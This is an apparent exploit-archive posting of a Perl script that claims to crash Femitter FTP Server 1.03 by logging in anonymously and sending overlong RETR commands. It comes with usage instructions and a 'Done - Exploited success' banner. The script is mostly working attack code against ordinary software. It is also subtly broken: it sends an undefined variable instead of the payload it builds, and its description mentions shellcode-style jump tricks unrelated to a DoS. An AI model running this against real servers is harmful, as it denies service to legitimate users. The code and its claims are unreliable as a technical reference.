Femitter FTP Server 1.03 Denial Of Service

`#!/usr/bin/perl  
  
use Net::FTP;  
  
# Exploit Title: Femitter FTP Server 1.03 - Denial of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 08 january 2024  
# Vendor Homepage: https://acritum.com/  
# Download to demo: https://drive.google.com/file/d/1GBFmc7tMavA9mMoZPYVlUVUe62dGjBhF/view?usp=sharing  
# Notification vendor: No reported  
# Tested Version: Femitter FTP Server 1.03  
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denial of Service (DoS)  
# Vídeo: https://drive.google.com/file/d/1n_WzyNiOwHRen60en5rh56Q4AyDfVbF_/view?usp=sharing  
  
#1. Description  
  
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The server does not correctly handle the amount of data or bytes of the command RETR, resulting in memory corruption.  
#When authenticating to the FTP server with a long RETR or a RETR with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.  
  
#2. Proof of Concept - PoC  
  
$sis="$^O";  
  
if ($sis eq "windows"){  
$cmd="cls";  
} else {  
$cmd="clear";  
}  
  
system("$cmd");  
  
intro();  
main();  
  
print "[+] Exploiting... \n";  
  
my $payload = "\x41\x2C\x41\x20\x42"x500;  
  
my $ftp = Net::FTP->new($ip, Debug => 0) or die "Could not connect: $@";  
  
my $sc= "A"x800;  
  
$ftp->login("anon","anon") or die "Failed: " . $ftp->message;  
  
$ftp->quot("RETR ".$c."\r\n") or die "Error: " . $ftp->message;  
$ftp->quot("RETR ".$c."\r\n") or die "Error: " . $ftp->message;  
  
$ftp->quit;  
  
print "[+] Done - Exploited success!!!!!\n\n";  
  
sub intro {  
print "######################################################################\n";  
print "# Femitter FTP Server 1.03 - Denial of Service #\n";  
print "# #\n";  
print "# Coded by Fernando Mengali #\n";  
print "# #\n";  
print "# e-mail: fernando.mengalli\@gmail.com #\n";  
print "# #\n";  
print "######################################################################\n";  
}  
  
sub main {  
  
our ($ip, $port) = @ARGV;  
  
unless (defined($ip) && defined($port)) {  
  
print " \nUsage: $0 <ip> <port> \n";  
exit(-1);  
  
}  
}  
  
#3. Solution/ How to fix:  
  
# This version product is deprecated  
`